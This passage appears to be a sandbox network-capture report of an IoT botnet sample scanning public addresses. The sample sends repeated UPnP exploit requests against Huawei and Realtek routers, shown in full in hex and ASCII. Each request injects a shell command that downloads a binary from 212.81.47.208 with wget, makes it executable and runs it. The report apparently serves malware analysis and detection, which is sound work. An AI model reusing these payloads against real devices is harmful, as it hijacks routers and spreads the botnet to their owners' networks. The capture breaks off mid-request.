s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.14	44106	156.53.32.243	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.944698095 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.14	54712	156.39.9.64	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.952883959 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.14	49726	41.225.238.214	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.965589046 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.14	42552	41.187.237.232	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.972826958 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.14	59686	156.73.153.242	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.987492085 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.14	34758	156.29.51.142	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.008949041 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.14	33068	41.135.60.103	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.009418964 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.14	39600	197.33.215.35	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.017205954 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.14	52386	197.83.103.191	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.027862072 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.14	44220	156.127.38.166	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.035459995 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.14	45566	41.218.13.28	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.196892023 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 